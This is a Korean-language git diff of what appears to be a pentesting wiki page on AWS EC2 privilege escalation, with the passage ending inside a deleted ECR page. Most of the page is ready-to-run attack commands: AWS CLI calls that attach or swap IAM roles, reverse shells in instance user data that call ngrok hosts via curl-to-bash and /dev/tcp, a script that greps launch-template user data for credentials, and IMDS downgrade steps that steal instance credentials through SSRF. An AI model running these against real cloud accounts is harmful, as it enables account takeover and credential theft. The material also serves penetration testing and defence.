키**(`--key-name`)를 사용하여 새 인스턴스를 실행한 다음 ssh로 접속합니다(새 키를 생성하려면 `ec2:CreateKeyPair` 권한이 필요할 수 있습니다). -```bash -aws ec2 run-instances --image-id --instance-type t2.micro \ ---iam-instance-profile Name= --key-name \ ---security-group-ids -``` -- **사용자 데이터에서 rev shell을 통한 접근** - -**사용자 데이터**(`--user-data`)를 사용하여 **rev shell**을 보내는 새 인스턴스를 실행할 수 있습니다. 이 방법으로 보안 그룹을 지정할 필요가 없습니다. -```bash -echo '#!/bin/bash -curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh - -aws ec2 run-instances --image-id --instance-type t2.micro \ ---iam-instance-profile Name= \ ---count 1 \ ---user-data "file:///tmp/rev.sh" -``` -GuradDuty를 사용할 때 인스턴스 외부에서 IAM 역할의 자격 증명을 사용할 경우 주의하세요: - -{{#ref}} -../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md -{{#endref}} - -**잠재적 영향:** 기존 인스턴스 프로필에 연결된 모든 EC2 역할로의 직접적인 권한 상승. - -#### ECS로의 권한 상승 - -이 권한 세트를 사용하면 **EC2 인스턴스를 생성하고 이를 ECS 클러스터에 등록할 수 있습니다**. 이렇게 하면 ECS **서비스**가 **EC2 인스턴스** 내에서 **실행**되고, 그 서비스를 침투하여 (도커 컨테이너) **연결된 ECS 역할을 훔칠 수 있습니다**. -```bash -aws ec2 run-instances \ ---image-id ami-07fde2ae86109a2af \ ---instance-type t2.micro \ ---iam-instance-profile \ ---count 1 --key-name pwned \ ---user-data "file:///tmp/asd.sh" - -# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) -# The EC2 instance profile needs basic ECS access -# The content of the user data is: -#!/bin/bash -echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; -``` -ECS 서비스를 이 새로운 EC2 인스턴스에서 **강제로 실행하는 방법**을 배우려면 다음을 확인하세요: - -{{#ref}} -aws-ecs-privesc.md -{{#endref}} - -새 인스턴스를 **생성할 수 없지만** `ecs:RegisterContainerInstance` 권한이 있는 경우, 클러스터 내에서 인스턴스를 등록하고 주석 처리된 공격을 수행할 수 있습니다. - -**잠재적 영향:** 작업에 연결된 ECS 역할에 대한 직접적인 권한 상승. - -### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** - -이전 시나리오와 유사하게, 이러한 권한을 가진 공격자는 **손상된 인스턴스의 IAM 역할을 변경**하여 새로운 자격 증명을 탈취할 수 있습니다.\ -인스턴스 프로필은 1개의 역할만 가질 수 있으므로, 인스턴스 프로필이 **이미 역할을 가지고 있는 경우**(일반적인 경우) **`iam:RemoveRoleFromInstanceProfile`**도 필요합니다. -```bash -# Removing role from instance profile -aws iam remove-role-from-instance-profile --instance-profile-name --role-name - -# Add role to instance profile -aws iam add-role-to-instance-profile --instance-profile-name --role-name -``` -만약 **인스턴스 프로필에 역할이** 있고 공격자가 **제거할 수 없다면**, 다른 우회 방법이 있다. 그는 **역할이 없는 인스턴스 프로필을 찾거나** **새로운 인스턴스 프로필을 생성할 수 있다** (`iam:CreateInstanceProfile`), **그 역할을 해당 인스턴스 프로필에 추가하고** (앞서 논의한 대로), **손상된 인스턴스에 손상된 인스턴스 프로필을 연결할 수 있다:** - -- 만약 인스턴스에 **인스턴스 프로필이 없다면** (`ec2:AssociateIamInstanceProfile`) -```bash -aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id -``` -**잠재적 영향:** 다른 EC2 역할로의 직접적인 권한 상승(당신은 AWS EC2 인스턴스를 손상시키고 추가 권한이나 특정 인스턴스 프로필 상태를 가져야 합니다). - -### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) - -이 권한을 사용하면 인스턴스에 연결된 인스턴스 프로필을 변경할 수 있으므로, 공격자가 이미 인스턴스에 접근할 수 있다면, 연결된 인스턴스 프로필을 변경하여 더 많은 인스턴스 프로필 역할에 대한 자격 증명을 훔칠 수 있습니다. - -- 인스턴스 프로필이 **있다면**, 인스턴스 프로필을 **제거**할 수 있습니다 (`ec2:DisassociateIamInstanceProfile`) 그리고 **연결**할 수 있습니다. -```bash -aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da -aws ec2 disassociate-iam-instance-profile --association-id -aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id -``` -- 또는 손상된 인스턴스의 **인스턴스 프로필**을 **교체**합니다 (`ec2:ReplaceIamInstanceProfileAssociation`). -```bash -aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id -``` -**잠재적 영향:** 다른 EC2 역할로의 직접적인 권한 상승(당신은 AWS EC2 인스턴스를 손상시키고 추가 권한이나 특정 인스턴스 프로필 상태를 가져야 합니다). - -### `ec2:RequestSpotInstances`,`iam:PassRole` - -**`ec2:RequestSpotInstances`와 `iam:PassRole`** 권한을 가진 공격자는 **EC2 역할이 연결된** **스팟 인스턴스**를 **요청**하고 **사용자 데이터**에 **rev shell**을 포함할 수 있습니다.\ -인스턴스가 실행되면, 그는 **IAM 역할을 훔칠** 수 있습니다. -```bash -REV=$(printf '#!/bin/bash -curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash -' | base64) - -aws ec2 request-spot-instances \ ---instance-count 1 \ ---launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" -``` -### `ec2:ModifyInstanceAttribute` - -**`ec2:ModifyInstanceAttribute`** 권한을 가진 공격자는 인스턴스 속성을 수정할 수 있습니다. 이 중에서 그는 **사용자 데이터를 변경**할 수 있으며, 이는 인스턴스가 **임의의 데이터를 실행**하도록 만들 수 있음을 의미합니다. 이는 **EC2 인스턴스에 대한 rev shell을 얻는 데** 사용될 수 있습니다. - -속성은 **인스턴스가 중지되어 있는 동안에만** 수정할 수 있으므로, **권한** **`ec2:StopInstances`** 및 **`ec2:StartInstances`**가 필요합니다. -```bash -TEXT='Content-Type: multipart/mixed; boundary="//" -MIME-Version: 1.0 - ---// -Content-Type: text/cloud-config; charset="us-ascii" -MIME-Version: 1.0 -Content-Transfer-Encoding: 7bit -Content-Disposition: attachment; filename="cloud-config.txt" - -#cloud-config -cloud_final_modules: -- [scripts-user, always] - ---// -Content-Type: text/x-shellscript; charset="us-ascii" -MIME-Version: 1.0 -Content-Transfer-Encoding: 7bit -Content-Disposition: attachment; filename="userdata.txt" - -#!/bin/bash -bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1 ---//' -TEXT_PATH="/tmp/text.b64.txt" - -printf $TEXT | base64 > "$TEXT_PATH" - -aws ec2 stop-instances --instance-ids $INSTANCE_ID - -aws ec2 modify-instance-attribute \ ---instance-id="$INSTANCE_ID" \ ---attribute userData \ ---value file://$TEXT_PATH - -aws ec2 start-instances --instance-ids $INSTANCE_ID -``` -**잠재적 영향:** 생성된 인스턴스에 연결된 모든 EC2 IAM 역할로 직접 권한 상승. - -### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` - -**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` 및 `ec2:ModifyLaunchTemplate`** 권한을 가진 공격자는 **사용자 데이터**에 **rev shell**이 포함된 **새 Launch Template 버전**을 생성하고, 기본 버전을 변경하며, **최신** 또는 **기본 버전**을 사용하도록 **구성된** **모든 Autoscaler 그룹**이 해당 템플릿을 사용하여 **인스턴스를 다시 실행**하고 rev shell을 실행하게 됩니다. -```bash -REV=$(printf '#!/bin/bash -curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash -' | base64) - -aws ec2 create-launch-template-version \ ---launch-template-name bad_template \ ---launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" - -aws ec2 modify-launch-template \ ---launch-template-name bad_template \ ---default-version 2 -``` -**잠재적 영향:** 다른 EC2 역할로의 직접적인 권한 상승. - -### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` - -**`autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`** 권한을 가진 공격자는 **IAM 역할**과 **rev shell**을 포함한 **Launch Configuration**을 **생성**할 수 있으며, 그 구성에서 **autoscaling group**을 **생성**하고 rev shell이 **IAM 역할**을 **탈취**할 때까지 기다릴 수 있습니다. -```bash -aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ ---launch-configuration-name bad_config \ ---image-id ami-0c1bc246476a5572b \ ---instance-type t3.micro \ ---iam-instance-profile EC2-CloudWatch-Agent-Role \ ---user-data "$REV" - -aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ ---auto-scaling-group-name bad_auto \ ---min-size 1 --max-size 1 \ ---launch-configuration-name bad_config \ ---desired-capacity 1 \ ---vpc-zone-identifier "subnet-e282f9b8" -``` -**잠재적 영향:** 다른 EC2 역할로의 직접적인 권한 상승. - -### `!autoscaling` - -권한 집합 **`ec2:CreateLaunchTemplate`** 및 **`autoscaling:CreateAutoScalingGroup`** **는 IAM 역할로 권한을 상승시키기에 충분하지 않습니다**. Launch Configuration 또는 Launch Template에 지정된 역할을 연결하려면 **`iam:PassRole` 및 `ec2:RunInstances`** 권한이 필요합니다 (이는 알려진 권한 상승입니다). - -### `ec2-instance-connect:SendSSHPublicKey` - -**`ec2-instance-connect:SendSSHPublicKey`** 권한을 가진 공격자는 사용자에게 ssh 키를 추가하고 이를 사용하여 접근할 수 있습니다 (인스턴스에 ssh 접근 권한이 있는 경우) 또는 권한을 상승시킬 수 있습니다. -```bash -aws ec2-instance-connect send-ssh-public-key \ ---instance-id "$INSTANCE_ID" \ ---instance-os-user "ec2-user" \ ---ssh-public-key "file://$PUBK_PATH" -``` -**잠재적 영향:** 실행 중인 인스턴스에 연결된 EC2 IAM 역할로의 직접적인 권한 상승. - -### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` - -**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** 권한이 있는 공격자는 **직렬 연결에 ssh 키를 추가할 수 있습니다**. 직렬 연결이 활성화되지 않은 경우, 공격자는 **`ec2:EnableSerialConsoleAccess` 권한이 필요합니다**. - -직렬 포트에 연결하기 위해서는 **기계 내부의 사용자 이름과 비밀번호를 알아야 합니다**. -```bash -aws ec2 enable-serial-console-access - -aws ec2-instance-connect send-serial-console-ssh-public-key \ ---instance-id "$INSTANCE_ID" \ ---serial-port 0 \ ---region "eu-west-1" \ ---ssh-public-key "file://$PUBK_PATH" - -ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws -``` -이 방법은 이를 악용하기 위해 사용자 이름과 비밀번호를 알아야 하므로 권한 상승에 그다지 유용하지 않습니다. - -**잠재적 영향:** (매우 입증하기 어려움) 실행 중인 인스턴스에 연결된 EC2 IAM 역할로의 직접적인 권한 상승. - -### `describe-launch-templates`,`describe-launch-template-versions` - -런치 템플릿은 버전 관리가 있으므로, **`ec2:describe-launch-templates`** 및 **`ec2:describe-launch-template-versions`** 권한을 가진 공격자는 이를 악용하여 사용자 데이터에 존재하는 자격 증명과 같은 민감한 정보를 발견할 수 있습니다. 이를 달성하기 위해, 다음 스크립트는 사용 가능한 런치 템플릿의 모든 버전을 반복합니다: -```bash -for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') -do -echo "[*] Analyzing $i" -aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata -do -echo "VersionNumber: $version" -echo "$userdata" | base64 -d -echo -done | grep -iE "aws_|password|token|api" -done -``` -위의 명령어에서 특정 패턴(`aws_|password|token|api`)을 지정하고 있지만, 다른 유형의 민감한 정보를 검색하기 위해 다른 정규 표현식을 사용할 수 있습니다. - -`aws_access_key_id`와 `aws_secret_access_key`를 찾으면, 이 자격 증명을 사용하여 AWS에 인증할 수 있습니다. - -**잠재적 영향:** IAM 사용자에게 직접적인 권한 상승. - -## References - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md new file mode 100644 index 000000000..017fc973a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md @@ -0,0 +1,300 @@ +# AWS - EC2 Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EC2 + +더 자세한 **EC2에 대한 정보**는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### `iam:PassRole`, `ec2:RunInstances` + +공격자는 **IAM 역할을 연결한 인스턴스를 생성한 다음 인스턴스에 접근하여** 메타데이터 엔드포인트에서 IAM 역할 자격 증명을 탈취할 수 있습니다. + +- **SSH를 통한 접근** + +새 인스턴스를 **생성된** **ssh key** (`--key-name`)로 실행한 다음 ssh로 접속합니다 (새 키를 생성하려면 `ec2:CreateKeyPair` 권한이 필요할 수 있습니다). +```bash +aws ec2 run-instances --image-id --instance-type t2.micro \ +--iam-instance-profile Name= --key-name \ +--security-group-ids +``` +- **user data를 통한 rev shell 접근** + +이 방법으로 새 인스턴스를 **user data** (`--user-data`)로 실행하면 **rev shell**을 받을 수 있습니다. 이렇게 하면 security group을 지정할 필요가 없습니다. +```bash +echo '#!/bin/bash +curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh + +aws ec2 run-instances --image-id --instance-type t2.micro \ +--iam-instance-profile Name= \ +--count 1 \ +--user-data "file:///tmp/rev.sh" +``` +인스턴스 외부에서 IAM role의 credentials를 사용할 경우 GuradDuty에 주의하세요: + +{{#ref}} +../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +{{#endref}} + +**Potential Impact:** 기존 instance profiles에 연결된 EC2 role에 대한 직접적인 privesc. + +#### Privesc to ECS + +이 권한 집합으로 또한 **create an EC2 instance and register it inside an ECS cluster** 할 수 있습니다. 이렇게 하면 접근 가능한 **EC2 instance** 내부에서 ECS **services**가 **run** 되고, 이후 해당 서비스들 (docker containers)에 침투하여 **steal their ECS roles attached** 할 수 있습니다. +```bash +aws ec2 run-instances \ +--image-id ami-07fde2ae86109a2af \ +--instance-type t2.micro \ +--iam-instance-profile \ +--count 1 --key-name pwned \ +--user-data "file:///tmp/asd.sh" + +# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) +# The EC2 instance profile needs basic ECS access +# The content of the user data is: +#!/bin/bash +echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; +``` +To learn how to **force ECS services to be run** in this new EC2 instance check: + +{{#ref}} +../aws-ecs-privesc/README.md +{{#endref}} + +If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack. + +**Potential Impact:** tasks에 연결된 ECS roles에 대한 직접적인 privesc. + +### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** + +이전 시나리오와 유사하게, 이러한 권한을 가진 공격자는 **손상된 인스턴스의 IAM role을 변경**하여 새로운 자격증명을 탈취할 수 있습니다.\ +instance profile은 role을 하나만 가질 수 있기 때문에, instance profile에 **이미 role이 있는 경우**(일반적인 경우)에는 **`iam:RemoveRoleFromInstanceProfile`** 권한도 필요합니다. +```bash +# Removing role from instance profile +aws iam remove-role-from-instance-profile --instance-profile-name --role-name + +# Add role to instance profile +aws iam add-role-to-instance-profile --instance-profile-name --role-name +``` +만약 **instance profile has a role**이고 공격자가 **cannot remove it**다면, 다른 우회 방법이 있습니다. 공격자는 **find** an **instance profile without a role** 또는 **create a new one** (`iam:CreateInstanceProfile`), 그 **instance profile**에 **role**을 **add**(앞서 설명한 것처럼)하고, 침해된 **instance profile**을 침해된 i**nstance:**에 **associate the instance profile**할 수 있습니다: + +- 만약 인스턴스가 **doesn't have any instance** profile이라면 (`ec2:AssociateIamInstanceProfile`) +```bash +aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id +``` +**잠재적 영향:** 다른 EC2 role로의 직접 privesc (AWS EC2 instance를 이미 침해했고 추가 권한이나 특정 instance profile 상태가 필요함). + +### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) + +이러한 permissions을 통해 인스턴스에 연관된 instance profile을 변경할 수 있습니다. 따라서 공격자가 이미 해당 instance에 접근해 있다면, 연관된 instance profile을 변경하여 더 많은 instance profile roles의 credentials을 steal할 수 있습니다. + +- 만약 해당 인스턴스가 **instance profile을 가지고 있다면**, instance profile을 **제거**(`ec2:DisassociateIamInstanceProfile`)하고 **연결**할 수 있습니다 +```bash +aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da +aws ec2 disassociate-iam-instance-profile --association-id +aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id +``` +- 또는 침해된 인스턴스의 **instance profile**을 **교체**합니다 (`ec2:ReplaceIamInstanceProfileAssociation`). +```bash +aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id +``` +**Potential Impact:** 다른 EC2 role로의 직접 privesc (이를 위해서는 AWS EC2 인스턴스를 침해했어야 하며 추가 권한 또는 특정 인스턴스 프로파일 상태가 필요합니다). + +### `ec2:RequestSpotInstances`,`iam:PassRole` + +해당 권한 **`ec2:RequestSpotInstances`와 `iam:PassRole`**을 가진 공격자는 **EC2 Role이 연결된 Spot Instance**를 **request**하고 **user data**에 **rev shell**을 넣을 수 있습니다.\ +인스턴스가 실행되면, 공격자는 **IAM role을 탈취**할 수 있습니다. +```bash +REV=$(printf '#!/bin/bash +curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash +' | base64) + +aws ec2 request-spot-instances \ +--instance-count 1 \ +--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" +``` +### `ec2:ModifyInstanceAttribute` + +공격자는 **`ec2:ModifyInstanceAttribute`** 권한으로 인스턴스의 속성을 수정할 수 있습니다. 그중 그는 **user data를 변경**할 수 있으며, 이는 인스턴스가 **임의의 데이터를 실행**하도록 만들 수 있음을 의미합니다. 이를 통해 **EC2 인스턴스에 대한 rev shell**을 얻을 수 있습니다. + +속성은 **인스턴스가 중지된 동안에만 수정될 수 있습니다**, 따라서 **권한**으로 **`ec2:StopInstances`** 및 **`ec2:StartInstances`** 가 필요합니다. +```bash +TEXT='Content-Type: multipart/mixed; boundary="//" +MIME-Version: 1.0 + +--// +Content-Type: text/cloud-config; charset="us-ascii" +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Disposition: attachment; filename="cloud-config.txt" + +#cloud-config +cloud_final_modules: +- [scripts-user, always] + +--// +Content-Type: text/x-shellscript; charset="us-ascii" +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Disposition: attachment; filename="userdata.txt" + +#!/bin/bash +bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1 +--//' +TEXT_PATH="/tmp/text.b64.txt" + +printf $TEXT | base64 > "$TEXT_PATH" + +aws ec2 stop-instances --instance-ids $INSTANCE_ID + +aws ec2 modify-instance-attribute \ +--instance-id="$INSTANCE_ID" \ +--attribute userData \ +--value file://$TEXT_PATH + +aws ec2 start-instances --instance-ids $INSTANCE_ID +``` +**Potential Impact:** 생성된 인스턴스에 연결된 어떤 EC2 IAM Role에도 대한 직접적인 privesc. + +### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` + +해당 권한 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** 을(를) 가진 공격자는 **new Launch Template version**을 생성하여 **rev shell in** the **user data** 및 **any EC2 IAM Role on it**을 포함시키고 기본 버전을 변경할 수 있습니다. 그런 다음 **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell. +```bash +REV=$(printf '#!/bin/bash +curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash +' | base64) + +aws ec2 create-launch-template-version \ +--launch-template-name bad_template \ +--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" + +aws ec2 modify-launch-template \ +--launch-template-name bad_template \ +--default-version 2 +``` +**잠재적 영향:** 다른 EC2 role로의 직접 privesc. + +### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`) + +해당 권한 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`**을 가진 공격자는 **Launch Configuration을 생성**하여 **IAM Role**과 **rev shell**을 **user data**에 포함시키고, 그 설정으로 **autoscaling group을 생성**한 뒤 rev shell이 **IAM Role을 탈취**할 때까지 기다릴 수 있다. +```bash +aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ +--launch-configuration-name bad_config \ +--image-id ami-0c1bc246476a5572b \ +--instance-type t3.micro \ +--iam-instance-profile EC2-CloudWatch-Agent-Role \ +--user-data "$REV" + +aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ +--auto-scaling-group-name bad_auto \ +--min-size 1 --max-size 1 \ +--launch-configuration-name bad_config \ +--desired-capacity 1 \ +--vpc-zone-identifier "subnet-e282f9b8" +``` +**Potential Impact:** 다른 EC2 role로의 직접적인 privesc. + +### `!autoscaling` + +The set of permissions **`ec2:CreateLaunchTemplate`** and **`autoscaling:CreateAutoScalingGroup`** **aren't enough to escalate** privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template **you need to permissions `iam:PassRole`and `ec2:RunInstances`** (이는 알려진 privesc입니다). + +### `ec2-instance-connect:SendSSHPublicKey` + +권한 **`ec2-instance-connect:SendSSHPublicKey`** 를 가진 공격자는 사용자에게 ssh 키를 추가하고(해당 인스턴스에 ssh 접근 권한이 있다면) 이를 사용해 접근하거나 권한을 상승시킬 수 있습니다. +```bash +aws ec2-instance-connect send-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--instance-os-user "ec2-user" \ +--ssh-public-key "file://$PUBK_PATH" +``` +**잠재적 영향:** 실행 중인 인스턴스에 연결된 EC2 IAM roles에 대한 직접적인 privesc. + +### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` + +권한 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`**을 가진 공격자는 **ssh key를 serial connection에 추가할 수 있습니다**. serial이 활성화되어 있지 않다면 공격자는 이를 활성화하기 위해 **`ec2:EnableSerialConsoleAccess` 권한이 필요합니다**. + +serial 포트에 연결하려면 또한 머신 내부의 사용자에 대한 **username and password를 알아야 합니다**. +```bash +aws ec2 enable-serial-console-access + +aws ec2-instance-connect send-serial-console-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--serial-port 0 \ +--region "eu-west-1" \ +--ssh-public-key "file://$PUBK_PATH" + +ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws +``` +이 방법은 사용자 이름과 비밀번호를 알아야만 이용할 수 있기 때문에 privesc에는 그다지 유용하지 않습니다. + +**잠재적 영향:** (매우 입증하기 어려움) 실행 중인 인스턴스에 연결된 EC2 IAM roles에 대한 직접적인 privesc. + +### `describe-launch-templates`,`describe-launch-template-versions` + +launch templates에는 버전 관리가 있기 때문에, **`ec2:describe-launch-templates`** 및 **`ec2:describe-launch-template-versions`** 권한을 가진 공격자는 이를 악용해 user data에 포함된 자격 증명과 같은 민감한 정보를 찾아낼 수 있습니다. 이를 수행하기 위해, 다음 스크립트는 사용 가능한 launch templates의 모든 버전을 순회합니다: +```bash +for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') +do +echo "[*] Analyzing $i" +aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata +do +echo "VersionNumber: $version" +echo "$userdata" | base64 -d +echo +done | grep -iE "aws_|password|token|api" +done +``` +위의 명령들에서는 특정 패턴(`aws_|password|token|api`)을 지정하고 있지만, 다른 유형의 민감한 정보를 검색하기 위해 다른 정규식(regex)을 사용할 수 있습니다. + +`aws_access_key_id`와 `aws_secret_access_key`를 찾는다면, 이 자격증명으로 AWS에 인증할 수 있습니다. + +**Potential Impact:** IAM 사용자(들)로의 직접적인 권한 상승. + +## References + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) + +{{#include ../../../../banners/hacktricks-training.md}} + + + + +### `ec2:ModifyInstanceMetadataOptions` (IMDS 다운그레이드로 SSRF를 통한 자격증명 탈취 가능) + +공격자가 피해 EC2 인스턴스에서 `ec2:ModifyInstanceMetadataOptions`를 호출할 수 있다면, `HttpTokens=optional`로 IMDSv1을 활성화하고 `HttpPutResponseHopLimit`을 증가시켜 IMDS 보호를 약화시킬 수 있습니다. 이렇게 하면 인스턴스 메타데이터 엔드포인트가 인스턴스에서 실행되는 애플리케이션의 일반적인 SSRF/프록시 경로를 통해 접근 가능해집니다. 공격자가 해당 애플리케이션에서 SSRF를 유발할 수 있다면, 인스턴스 프로파일 자격증명을 획득해 이를 이용해 pivot할 수 있습니다. + +- 필요 권한: 대상 인스턴스에 대한 `ec2:ModifyInstanceMetadataOptions` (추가로 호스트에서 SSRF에 접근/유발할 수 있는 능력 필요). +- 대상 리소스: 인스턴스 프로파일(IAM role)이 연결된 실행 중인 EC2 인스턴스. + +Commands example: +```bash +# 1) Check current metadata settings +aws ec2 describe-instances --instance-id \ +--query 'Reservations[0].Instances[0].MetadataOptions' + +# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit) +aws ec2 modify-instance-metadata-options --instance-id \ +--http-endpoint enabled --http-tokens optional \ +--http-put-response-hop-limit 3 --instance-metadata-tags enabled + +# 3) Through the SSRF, enumerate role name +curl "http://:/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" + +# 4) Through the SSRF, steal the temporary credentials +curl "http://:/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" + +# 5) Use the stolen credentials +export AWS_ACCESS_KEY_ID= +export AWS_SECRET_ACCESS_KEY= +export AWS_SESSION_TOKEN= +aws sts get-caller-identity + +# 6) Restore protections (require IMDSv2, low hop limit) +aws ec2 modify-instance-metadata-options --instance-id \ +--http-tokens required --http-put-response-hop-limit 1 +``` +잠재적 영향: SSRF를 통해 instance profile credentials가 탈취되어 EC2 역할 권한으로 권한 상승 및 횡적 이동이 발생할 수 있음. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md deleted file mode 100644 index f0aebad9c..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ /dev/null @@ -1,100 +0,0 @@ -# AWS - ECR Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` - -**`ecr:GetAuthorizationToken`** 및 **`ecr:BatchGetImage`** 권한을 가진 공격자는 ECR에 로그인하고 이미지를 다운로드할 수 있습니다. - -이미지를 다운로드하는 방법에 대한 자세한 정보는 다음을 참조하십시오: - -{{#ref}} -../aws-post-exploitation/aws-ecr-post-exploitation.md -{{#endref}} - -**잠재적 영향:** 트래픽에서 민감한 정보를 가로채어 간접적인 권한 상승이 발생할 수 있습니다. - -### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` - -모든 권한을 가진 공격자는 **ECR에 로그인하고 이미지를 업로드할 수 있습니다**. 이는 해당 이미지가 사용되는 다른 환경으로 권한을 상승시키는 데 유용할 수 있습니다. - -새 이미지를 업로드하거나 업데이트하는 방법을 배우려면 다음을 확인하십시오: - -{{#ref}} -../aws-services/aws-eks-enum.md -{{#endref}} - -### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, 